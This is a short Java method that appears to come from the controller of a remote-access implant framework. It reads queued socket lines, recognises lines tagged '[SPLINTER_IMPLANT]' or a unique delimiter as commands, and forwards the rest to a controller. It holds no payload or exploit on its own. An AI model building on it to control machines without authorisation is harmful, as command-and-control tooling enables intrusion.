public boolean readLineFromSocket()
  {
    try
    {
      if ((this.alReceivedLine == null) || (this.alReceivedLine.size() < 1))
      {
        return false;
      }

      this.inputLine = ((String)this.alReceivedLine.remove(0));

      if (this.inputLine == null)
      {
        throw new SocketException("Socket Appears to Be Closed");
      }

      if ((this.inputLine.trim().startsWith("[SPLINTER_IMPLANT]")) || (this.inputLine.trim().startsWith(this.myUniqueDelimiter)))
      {
        if (!determineCommand(this.inputLine))
        {
          sendResponseToForwardController(this.inputLine);
        }

        this.processInterrupt = true;
        return true;
      }

      sendResponseToForwardController(this.inputLine);

      this.processInterrupt = true;
      return true;
    }
    catch (SocketException se)
    {
      Driver.sop("Socket detected in " + this.strMyClassName + " has returned value expected from a closed socket. Perhaps implant has disconnected abruptly.  Cleaning up thread...");
    }
    catch (Exception e)
    {
      Driver.eop("readLineFromSocket", this.strMyClassName, e, e.getLocalizedMessage(), false);
    }

    return false;
  }